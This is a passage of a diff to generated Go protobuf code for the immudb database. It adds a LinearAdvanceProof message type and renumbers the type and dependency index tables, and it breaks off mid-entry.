+9923,385 @@ var file_schema_proto_goTypes = []interface{}{ (*TxHeader)(nil), // 29: immudb.schema.TxHeader (*TxMetadata)(nil), // 30: immudb.schema.TxMetadata (*LinearProof)(nil), // 31: immudb.schema.LinearProof - (*DualProof)(nil), // 32: immudb.schema.DualProof - (*Tx)(nil), // 33: immudb.schema.Tx - (*TxEntry)(nil), // 34: immudb.schema.TxEntry - (*KVMetadata)(nil), // 35: immudb.schema.KVMetadata - (*Expiration)(nil), // 36: immudb.schema.Expiration - (*VerifiableTx)(nil), // 37: immudb.schema.VerifiableTx - (*VerifiableEntry)(nil), // 38: immudb.schema.VerifiableEntry - (*InclusionProof)(nil), // 39: immudb.schema.InclusionProof - (*SetRequest)(nil), // 40: immudb.schema.SetRequest - (*KeyRequest)(nil), // 41: immudb.schema.KeyRequest - (*KeyListRequest)(nil), // 42: immudb.schema.KeyListRequest - (*DeleteKeysRequest)(nil), // 43: immudb.schema.DeleteKeysRequest - (*VerifiableSetRequest)(nil), // 44: immudb.schema.VerifiableSetRequest - (*VerifiableGetRequest)(nil), // 45: immudb.schema.VerifiableGetRequest - (*ServerInfoRequest)(nil), // 46: immudb.schema.ServerInfoRequest - (*ServerInfoResponse)(nil), // 47: immudb.schema.ServerInfoResponse - (*HealthResponse)(nil), // 48: immudb.schema.HealthResponse - (*DatabaseHealthResponse)(nil), // 49: immudb.schema.DatabaseHealthResponse - (*ImmutableState)(nil), // 50: immudb.schema.ImmutableState - (*ReferenceRequest)(nil), // 51: immudb.schema.ReferenceRequest - (*VerifiableReferenceRequest)(nil), // 52: immudb.schema.VerifiableReferenceRequest - (*ZAddRequest)(nil), // 53: immudb.schema.ZAddRequest - (*Score)(nil), // 54: immudb.schema.Score - (*ZScanRequest)(nil), // 55: immudb.schema.ZScanRequest - (*HistoryRequest)(nil), // 56: immudb.schema.HistoryRequest - (*VerifiableZAddRequest)(nil), // 57: immudb.schema.VerifiableZAddRequest - (*TxRequest)(nil), // 58: immudb.schema.TxRequest - (*EntriesSpec)(nil), // 59: immudb.schema.EntriesSpec - (*EntryTypeSpec)(nil), // 60: immudb.schema.EntryTypeSpec - (*VerifiableTxRequest)(nil), // 61: immudb.schema.VerifiableTxRequest - (*TxScanRequest)(nil), // 62: immudb.schema.TxScanRequest - (*TxList)(nil), // 63: immudb.schema.TxList - (*ExportTxRequest)(nil), // 64: immudb.schema.ExportTxRequest - (*ReplicaState)(nil), // 65: immudb.schema.ReplicaState - (*Database)(nil), // 66: immudb.schema.Database - (*DatabaseSettings)(nil), // 67: immudb.schema.DatabaseSettings - (*CreateDatabaseRequest)(nil), // 68: immudb.schema.CreateDatabaseRequest - (*CreateDatabaseResponse)(nil), // 69: immudb.schema.CreateDatabaseResponse - (*UpdateDatabaseRequest)(nil), // 70: immudb.schema.UpdateDatabaseRequest - (*UpdateDatabaseResponse)(nil), // 71: immudb.schema.UpdateDatabaseResponse - (*DatabaseSettingsRequest)(nil), // 72: immudb.schema.DatabaseSettingsRequest - (*DatabaseSettingsResponse)(nil), // 73: immudb.schema.DatabaseSettingsResponse - (*NullableUint32)(nil), // 74: immudb.schema.NullableUint32 - (*NullableUint64)(nil), // 75: immudb.schema.NullableUint64 - (*NullableFloat)(nil), // 76: immudb.schema.NullableFloat - (*NullableBool)(nil), // 77: immudb.schema.NullableBool - (*NullableString)(nil), // 78: immudb.schema.NullableString - (*NullableMilliseconds)(nil), // 79: immudb.schema.NullableMilliseconds - (*DatabaseNullableSettings)(nil), // 80: immudb.schema.DatabaseNullableSettings - (*ReplicationNullableSettings)(nil), // 81: immudb.schema.ReplicationNullableSettings - (*IndexNullableSettings)(nil), // 82: immudb.schema.IndexNullableSettings - (*AHTNullableSettings)(nil), // 83: immudb.schema.AHTNullableSettings - (*LoadDatabaseRequest)(nil), // 84: immudb.schema.LoadDatabaseRequest - (*LoadDatabaseResponse)(nil), // 85: immudb.schema.LoadDatabaseResponse - (*UnloadDatabaseRequest)(nil), // 86: immudb.schema.UnloadDatabaseRequest - (*UnloadDatabaseResponse)(nil), // 87: immudb.schema.UnloadDatabaseResponse - (*DeleteDatabaseRequest)(nil), // 88: immudb.schema.DeleteDatabaseRequest - (*DeleteDatabaseResponse)(nil), // 89: immudb.schema.DeleteDatabaseResponse - (*FlushIndexRequest)(nil), // 90: immudb.schema.FlushIndexRequest - (*FlushIndexResponse)(nil), // 91: immudb.schema.FlushIndexResponse - (*Table)(nil), // 92: immudb.schema.Table - (*SQLGetRequest)(nil), // 93: immudb.schema.SQLGetRequest - (*VerifiableSQLGetRequest)(nil), // 94: immudb.schema.VerifiableSQLGetRequest - (*SQLEntry)(nil), // 95: immudb.schema.SQLEntry - (*VerifiableSQLEntry)(nil), // 96: immudb.schema.VerifiableSQLEntry - (*UseDatabaseReply)(nil), // 97: immudb.schema.UseDatabaseReply - (*ChangePermissionRequest)(nil), // 98: immudb.schema.ChangePermissionRequest - (*SetActiveUserRequest)(nil), // 99: immudb.schema.SetActiveUserRequest - (*DatabaseListResponse)(nil), // 100: immudb.schema.DatabaseListResponse - (*DatabaseListRequestV2)(nil), // 101: immudb.schema.DatabaseListRequestV2 - (*DatabaseListResponseV2)(nil), // 102: immudb.schema.DatabaseListResponseV2 - (*DatabaseWithSettings)(nil), // 103: immudb.schema.DatabaseWithSettings - (*Chunk)(nil), // 104: immudb.schema.Chunk - (*UseSnapshotRequest)(nil), // 105: immudb.schema.UseSnapshotRequest - (*SQLExecRequest)(nil), // 106: immudb.schema.SQLExecRequest - (*SQLQueryRequest)(nil), // 107: immudb.schema.SQLQueryRequest - (*NamedParam)(nil), // 108: immudb.schema.NamedParam - (*SQLExecResult)(nil), // 109: immudb.schema.SQLExecResult - (*CommittedSQLTx)(nil), // 110: immudb.schema.CommittedSQLTx - (*SQLQueryResult)(nil), // 111: immudb.schema.SQLQueryResult - (*Column)(nil), // 112: immudb.schema.Column - (*Row)(nil), // 113: immudb.schema.Row - (*SQLValue)(nil), // 114: immudb.schema.SQLValue - (*NewTxRequest)(nil), // 115: immudb.schema.NewTxRequest - (*NewTxResponse)(nil), // 116: immudb.schema.NewTxResponse - (*ErrorInfo)(nil), // 117: immudb.schema.ErrorInfo - (*DebugInfo)(nil), // 118: immudb.schema.DebugInfo - (*RetryInfo)(nil), // 119: immudb.schema.RetryInfo - (*Precondition_KeyMustExistPrecondition)(nil), // 120: immudb.schema.Precondition.KeyMustExistPrecondition - (*Precondition_KeyMustNotExistPrecondition)(nil), // 121: immudb.schema.Precondition.KeyMustNotExistPrecondition - (*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 122: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition - nil, // 123: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - nil, // 124: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - nil, // 125: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - nil, // 126: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - nil, // 127: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - nil, // 128: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - (_struct.NullValue)(0), // 129: google.protobuf.NullValue - (*empty.Empty)(nil), // 130: google.protobuf.Empty + (*LinearAdvanceProof)(nil), // 32: immudb.schema.LinearAdvanceProof + (*DualProof)(nil), // 33: immudb.schema.DualProof + (*Tx)(nil), // 34: immudb.schema.Tx + (*TxEntry)(nil), // 35: immudb.schema.TxEntry + (*KVMetadata)(nil), // 36: immudb.schema.KVMetadata + (*Expiration)(nil), // 37: immudb.schema.Expiration + (*VerifiableTx)(nil), // 38: immudb.schema.VerifiableTx + (*VerifiableEntry)(nil), // 39: immudb.schema.VerifiableEntry + (*InclusionProof)(nil), // 40: immudb.schema.InclusionProof + (*SetRequest)(nil), // 41: immudb.schema.SetRequest + (*KeyRequest)(nil), // 42: immudb.schema.KeyRequest + (*KeyListRequest)(nil), // 43: immudb.schema.KeyListRequest + (*DeleteKeysRequest)(nil), // 44: immudb.schema.DeleteKeysRequest + (*VerifiableSetRequest)(nil), // 45: immudb.schema.VerifiableSetRequest + (*VerifiableGetRequest)(nil), // 46: immudb.schema.VerifiableGetRequest + (*ServerInfoRequest)(nil), // 47: immudb.schema.ServerInfoRequest + (*ServerInfoResponse)(nil), // 48: immudb.schema.ServerInfoResponse + (*HealthResponse)(nil), // 49: immudb.schema.HealthResponse + (*DatabaseHealthResponse)(nil), // 50: immudb.schema.DatabaseHealthResponse + (*ImmutableState)(nil), // 51: immudb.schema.ImmutableState + (*ReferenceRequest)(nil), // 52: immudb.schema.ReferenceRequest + (*VerifiableReferenceRequest)(nil), // 53: immudb.schema.VerifiableReferenceRequest + (*ZAddRequest)(nil), // 54: immudb.schema.ZAddRequest + (*Score)(nil), // 55: immudb.schema.Score + (*ZScanRequest)(nil), // 56: immudb.schema.ZScanRequest + (*HistoryRequest)(nil), // 57: immudb.schema.HistoryRequest + (*VerifiableZAddRequest)(nil), // 58: immudb.schema.VerifiableZAddRequest + (*TxRequest)(nil), // 59: immudb.schema.TxRequest + (*EntriesSpec)(nil), // 60: immudb.schema.EntriesSpec + (*EntryTypeSpec)(nil), // 61: immudb.schema.EntryTypeSpec + (*VerifiableTxRequest)(nil), // 62: immudb.schema.VerifiableTxRequest + (*TxScanRequest)(nil), // 63: immudb.schema.TxScanRequest + (*TxList)(nil), // 64: immudb.schema.TxList + (*ExportTxRequest)(nil), // 65: immudb.schema.ExportTxRequest + (*ReplicaState)(nil), // 66: immudb.schema.ReplicaState + (*Database)(nil), // 67: immudb.schema.Database + (*DatabaseSettings)(nil), // 68: immudb.schema.DatabaseSettings + (*CreateDatabaseRequest)(nil), // 69: immudb.schema.CreateDatabaseRequest + (*CreateDatabaseResponse)(nil), // 70: immudb.schema.CreateDatabaseResponse + (*UpdateDatabaseRequest)(nil), // 71: immudb.schema.UpdateDatabaseRequest + (*UpdateDatabaseResponse)(nil), // 72: immudb.schema.UpdateDatabaseResponse + (*DatabaseSettingsRequest)(nil), // 73: immudb.schema.DatabaseSettingsRequest + (*DatabaseSettingsResponse)(nil), // 74: immudb.schema.DatabaseSettingsResponse + (*NullableUint32)(nil), // 75: immudb.schema.NullableUint32 + (*NullableUint64)(nil), // 76: immudb.schema.NullableUint64 + (*NullableFloat)(nil), // 77: immudb.schema.NullableFloat + (*NullableBool)(nil), // 78: immudb.schema.NullableBool + (*NullableString)(nil), // 79: immudb.schema.NullableString + (*NullableMilliseconds)(nil), // 80: immudb.schema.NullableMilliseconds + (*DatabaseNullableSettings)(nil), // 81: immudb.schema.DatabaseNullableSettings + (*ReplicationNullableSettings)(nil), // 82: immudb.schema.ReplicationNullableSettings + (*IndexNullableSettings)(nil), // 83: immudb.schema.IndexNullableSettings + (*AHTNullableSettings)(nil), // 84: immudb.schema.AHTNullableSettings + (*LoadDatabaseRequest)(nil), // 85: immudb.schema.LoadDatabaseRequest + (*LoadDatabaseResponse)(nil), // 86: immudb.schema.LoadDatabaseResponse + (*UnloadDatabaseRequest)(nil), // 87: immudb.schema.UnloadDatabaseRequest + (*UnloadDatabaseResponse)(nil), // 88: immudb.schema.UnloadDatabaseResponse + (*DeleteDatabaseRequest)(nil), // 89: immudb.schema.DeleteDatabaseRequest + (*DeleteDatabaseResponse)(nil), // 90: immudb.schema.DeleteDatabaseResponse + (*FlushIndexRequest)(nil), // 91: immudb.schema.FlushIndexRequest + (*FlushIndexResponse)(nil), // 92: immudb.schema.FlushIndexResponse + (*Table)(nil), // 93: immudb.schema.Table + (*SQLGetRequest)(nil), // 94: immudb.schema.SQLGetRequest + (*VerifiableSQLGetRequest)(nil), // 95: immudb.schema.VerifiableSQLGetRequest + (*SQLEntry)(nil), // 96: immudb.schema.SQLEntry + (*VerifiableSQLEntry)(nil), // 97: immudb.schema.VerifiableSQLEntry + (*UseDatabaseReply)(nil), // 98: immudb.schema.UseDatabaseReply + (*ChangePermissionRequest)(nil), // 99: immudb.schema.ChangePermissionRequest + (*SetActiveUserRequest)(nil), // 100: immudb.schema.SetActiveUserRequest + (*DatabaseListResponse)(nil), // 101: immudb.schema.DatabaseListResponse + (*DatabaseListRequestV2)(nil), // 102: immudb.schema.DatabaseListRequestV2 + (*DatabaseListResponseV2)(nil), // 103: immudb.schema.DatabaseListResponseV2 + (*DatabaseWithSettings)(nil), // 104: immudb.schema.DatabaseWithSettings + (*Chunk)(nil), // 105: immudb.schema.Chunk + (*UseSnapshotRequest)(nil), // 106: immudb.schema.UseSnapshotRequest + (*SQLExecRequest)(nil), // 107: immudb.schema.SQLExecRequest + (*SQLQueryRequest)(nil), // 108: immudb.schema.SQLQueryRequest + (*NamedParam)(nil), // 109: immudb.schema.NamedParam + (*SQLExecResult)(nil), // 110: immudb.schema.SQLExecResult + (*CommittedSQLTx)(nil), // 111: immudb.schema.CommittedSQLTx + (*SQLQueryResult)(nil), // 112: immudb.schema.SQLQueryResult + (*Column)(nil), // 113: immudb.schema.Column + (*Row)(nil), // 114: immudb.schema.Row + (*SQLValue)(nil), // 115: immudb.schema.SQLValue + (*NewTxRequest)(nil), // 116: immudb.schema.NewTxRequest + (*NewTxResponse)(nil), // 117: immudb.schema.NewTxResponse + (*ErrorInfo)(nil), // 118: immudb.schema.ErrorInfo + (*DebugInfo)(nil), // 119: immudb.schema.DebugInfo + (*RetryInfo)(nil), // 120: immudb.schema.RetryInfo + (*Precondition_KeyMustExistPrecondition)(nil), // 121: immudb.schema.Precondition.KeyMustExistPrecondition + (*Precondition_KeyMustNotExistPrecondition)(nil), // 122: immudb.schema.Precondition.KeyMustNotExistPrecondition + (*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 123: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition + nil, // 124: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + nil, // 125: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + nil, // 126: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + nil, // 127: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + nil, // 128: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + nil, // 129: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + (_struct.NullValue)(0), // 130: google.protobuf.NullValue + (*empty.Empty)(nil), // 131: google.protobuf.Empty } var file_schema_proto_depIdxs = []int32{ 4, // 0: immudb.schema.User.permissions:type_name -> immudb.schema.Permission 5, // 1: immudb.schema.UserList.users:type_name -> immudb.schema.User - 120, // 2: immudb.schema.Precondition.keyMustExist:type_name -> immudb.schema.Precondition.KeyMustExistPrecondition - 121, // 3: immudb.schema.Precondition.keyMustNotExist:type_name -> immudb.schema.Precondition.KeyMustNotExistPrecondition - 122, // 4: immudb.schema.Precondition.keyNotModifiedAfterTX:type_name -> immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition - 35, // 5: immudb.schema.KeyValue.metadata:type_name -> immudb.schema.KVMetadata + 121, // 2: immudb.schema.Precondition.keyMustExist:type_name -> immudb.schema.Precondition.KeyMustExistPrecondition + 122, // 3: immudb.schema.Precondition.keyMustNotExist:type_name -> immudb.schema.Precondition.KeyMustNotExistPrecondition + 123, // 4: immudb.schema.Precondition.keyNotModifiedAfterTX:type_name -> immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition + 36, // 5: immudb.schema.KeyValue.metadata:type_name -> immudb.schema.KVMetadata 19, // 6: immudb.schema.Entry.referencedBy:type_name -> immudb.schema.Reference - 35, // 7: immudb.schema.Entry.metadata:type_name -> immudb.schema.KVMetadata - 35, // 8: immudb.schema.Reference.metadata:type_name -> immudb.schema.KVMetadata + 36, // 7: immudb.schema.Entry.metadata:type_name -> immudb.schema.KVMetadata + 36, // 8: immudb.schema.Reference.metadata:type_name -> immudb.schema.KVMetadata 17, // 9: immudb.schema.Op.kv:type_name -> immudb.schema.KeyValue - 53, // 10: immudb.schema.Op.zAdd:type_name -> immudb.schema.ZAddRequest - 51, // 11: immudb.schema.Op.ref:type_name -> immudb.schema.ReferenceRequest + 54, // 10: immudb.schema.Op.zAdd:type_name -> immudb.schema.ZAddRequest + 52, // 11: immudb.schema.Op.ref:type_name -> immudb.schema.ReferenceRequest 20, // 12: immudb.schema.ExecAllRequest.Operations:type_name -> immudb.schema.Op 16, // 13: immudb.schema.ExecAllRequest.preconditions:type_name -> immudb.schema.Precondition 18, // 14: immudb.schema.Entries.entries:type_name -> immudb.schema.Entry 18, // 15: immudb.schema.ZEntry.entry:type_name -> immudb.schema.Entry 23, // 16: immudb.schema.ZEntries.entries:type_name -> immudb.schema.ZEntry 30, // 17: immudb.schema.TxHeader.metadata:type_name -> immudb.schema.TxMetadata - 29, // 18: immudb.schema.DualProof.sourceTxHeader:type_name -> immudb.schema.TxHeader - 29, // 19: immudb.schema.DualProof.targetTxHeader:type_name -> immudb.schema.TxHeader - 31, // 20: immudb.schema.DualProof.linearProof:type_name -> immudb.schema.LinearProof - 29, // 21: immudb.schema.Tx.header:type_name -> immudb.schema.TxHeader - 34, // 22: immudb.schema.Tx.entries:type_name -> immudb.schema.TxEntry - 18, // 23: immudb.schema.Tx.kvEntries:type_name -> immudb.schema.Entry - 23, // 24: immudb.schema.Tx.zEntries:type_name -> immudb.schema.ZEntry - 35, // 25: immudb.schema.TxEntry.metadata:type_name -> immudb.schema.KVMetadata - 36, // 26: immudb.schema.KVMetadata.expiration:type_name -> immudb.schema.Expiration - 33, // 27: immudb.schema.VerifiableTx.tx:type_name -> immudb.schema.Tx - 32, // 28: immudb.schema.VerifiableTx.dualProof:type_name -> immudb.schema.DualProof - 28, // 29: immudb.schema.VerifiableTx.signature:type_name -> immudb.schema.Signature - 18, // 30: immudb.schema.VerifiableEntry.entry:type_name -> immudb.schema.Entry - 37, // 31: immudb.schema.VerifiableEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx - 39, // 32: immudb.schema.VerifiableEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 17, // 33: immudb.schema.SetRequest.KVs:type_name -> immudb.schema.KeyValue - 16, // 34: immudb.schema.SetRequest.preconditions:type_name -> immudb.schema.Precondition - 40, // 35: immudb.schema.VerifiableSetRequest.setRequest:type_name -> immudb.schema.SetRequest - 41, // 36: immudb.schema.VerifiableGetRequest.keyRequest:type_name -> immudb.schema.KeyRequest - 28, // 37: immudb.schema.ImmutableState.signature:type_name -> immudb.schema.Signature - 16, // 38: immudb.schema.ReferenceRequest.preconditions:type_name -> immudb.schema.Precondition - 51, // 39: immudb.schema.VerifiableReferenceRequest.referenceRequest:type_name -> immudb.schema.ReferenceRequest - 54, // 40: immudb.schema.ZScanRequest.minScore:type_name -> immudb.schema.Score - 54, // 41: immudb.schema.ZScanRequest.maxScore:type_name -> immudb.schema.Score - 53, // 42: immudb.schema.VerifiableZAddRequest.zAddRequest:type_name -> immudb.schema.ZAddRequest - 59, // 43: immudb.schema.TxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec - 60, // 44: immudb.schema.EntriesSpec.kvEntriesSpec:type_name -> immudb.schema.EntryTypeSpec - 60, // 45: immudb.schema.EntriesSpec.zEntriesSpec:type_name -> immudb.schema.EntryTypeSpec - 60, // 46: immudb.schema.EntriesSpec.sqlEntriesSpec:type_name -> immudb.schema.EntryTypeSpec - 0, // 47: immudb.schema.EntryTypeSpec.action:type_name -> immudb.schema.EntryTypeAction - 59, // 48: immudb.schema.VerifiableTxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec - 59, // 49: immudb.schema.TxScanRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec - 33, // 50: immudb.schema.TxList.txs:type_name -> immudb.schema.Tx - 65, // 51: immudb.schema.ExportTxRequest.replicaState:type_name -> immudb.schema.ReplicaState - 80, // 52: immudb.schema.CreateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings - 80, // 53: immudb.schema.CreateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings - 80, // 54: immudb.schema.UpdateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings - 80, // 55: immudb.schema.UpdateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings - 80, // 56: immudb.schema.DatabaseSettingsResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings - 81, // 57: immudb.schema.DatabaseNullableSettings.replicationSettings:type_name -> immudb.schema.ReplicationNullableSettings - 74, // 58: immudb.schema.DatabaseNullableSettings.fileSize:type_name -> immudb.schema.NullableUint32 - 74, // 59: immudb.schema.DatabaseNullableSettings.maxKeyLen:type_name -> immudb.schema.NullableUint32 - 74, // 60: immudb.schema.DatabaseNullableSettings.maxValueLen:type_name -> immudb.schema.NullableUint32 - 74, // 61: immudb.schema.DatabaseNullableSettings.maxTxEntries:type_name -> immudb.schema.NullableUint32 - 77, // 62: immudb.schema.DatabaseNullableSettings.excludeCommitTime:type_name -> immudb.schema.NullableBool - 74, // 63: immudb.schema.DatabaseNullableSettings.maxConcurrency:type_name -> immudb.schema.NullableUint32 - 74, // 64: immudb.schema.DatabaseNullableSettings.maxIOConcurrency:type_name -> immudb.schema.NullableUint32 - 74, // 65: immudb.schema.DatabaseNullableSettings.txLogCacheSize:type_name -> immudb.schema.NullableUint32 - 74, // 66: immudb.schema.DatabaseNullableSettings.vLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 74, // 67: immudb.schema.DatabaseNullableSettings.txLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 74, // 68: immudb.schema.DatabaseNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 82, // 69: immudb.schema.DatabaseNullableSettings.indexSettings:type_name -> immudb.schema.IndexNullableSettings - 74, // 70: immudb.schema.DatabaseNullableSettings.writeTxHeaderVersion:type_name -> immudb.schema.NullableUint32 - 77, // 71: immudb.schema.DatabaseNullableSettings.autoload:type_name -> immudb.schema.NullableBool - 74, // 72: immudb.schema.DatabaseNullableSettings.readTxPoolSize:type_name -> immudb.schema.NullableUint32 - 79, // 73: immudb.schema.DatabaseNullableSettings.syncFrequency:type_name -> immudb.schema.NullableMilliseconds - 74, // 74: immudb.schema.DatabaseNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 83, // 75: immudb.schema.DatabaseNullableSettings.ahtSettings:type_name -> immudb.schema.AHTNullableSettings - 77, // 76: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool - 78, // 77: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString - 78, // 78: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString - 74, // 79: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 - 78, // 80: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString - 78, // 81: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString - 77, // 82: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool - 74, // 83: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 - 74, // 84: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 - 74, // 85: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 - 77, // 86: immudb.schema.ReplicationNullableSettings.AllowTxDiscarding:type_name -> immudb.schema.NullableBool - 74, // 87: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 - 74, // 88: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 74, // 89: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 - 74, // 90: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 - 74, // 91: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 - 75, // 92: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 - 74, // 93: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 - 74, // 94: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 - 74, // 95: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 74, // 96: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 74, // 97: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 74, // 98: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 - 76, // 99: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat - 74, // 100: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 74, // 101: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 114, // 102: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue - 93, // 103: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest - 35, // 104: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata - 95, // 105: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry - 37, // 106: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx - 39, // 107: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 123, // 108: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - 124, // 109: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - 125, // 110: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - 126, // 111: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - 1, // 112: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction - 66, // 113: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database - 103, // 114: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings - 80, // 115: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings - 108, // 116: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam - 108, // 117: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam - 114, // 118: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue - 110, // 119: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx - 29, // 120: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader - 127, // 121: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - 128, // 122: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - 112, // 123: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column - 113, // 124: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row - 114, // 125: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue - 129, // 126: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue - 2, // 127: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode - 114, // 128: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 114, // 129: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 130, // 130: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 131: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 132: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 98, // 133: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 99, // 134: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 135: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 136: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 137: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 130, // 138: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 130, // 139: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 115, // 140: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 130, // 141: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 130, // 142: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 106, // 143: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 107, // 144: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 145: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 130, // 146: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 40, // 147: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 44, // 148: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 41, // 149: immudb.schema.ImmuService.Get:input_type -> 